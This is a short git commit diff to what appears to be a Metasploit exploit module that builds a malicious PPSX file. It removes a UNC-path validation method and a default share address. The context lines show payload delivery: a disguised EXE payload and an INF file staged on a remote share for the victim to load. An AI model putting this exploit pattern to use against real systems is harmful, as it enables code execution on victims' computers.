Delete bad/incomplete validation method

This commit is contained in:
jvazquez-r7 2014-10-17 10:36:01 -05:00
parent 7ac416763e
commit e5903562ee
1 changed files with 2 additions and 16 deletions

View File

@ -76,16 +76,12 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
OptString.new('UNCPATH', [ true, 'The UNC path to use (Ex: \\\\192.168.1.1\\share)', '\\\\172.16.158.1\\public' ])
OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])
], self.class)
end
def exploit
@unc = validate_unc
if @unc.nil?
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
end
@unc = datastore['UNCPATH']
print_status("Creating the EXE payload...")
payload_name = "#{rand_text_alpha(4)}.gif"
@ -108,16 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
end
def validate_unc
if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)/
unc = datastore['UNCPATH']
else
unc = nil
end
unc
end
def my_file_create(data, name)
ltype = "exploit.fileformat.#{self.shortname}"
path = store_local(ltype, nil, data, name)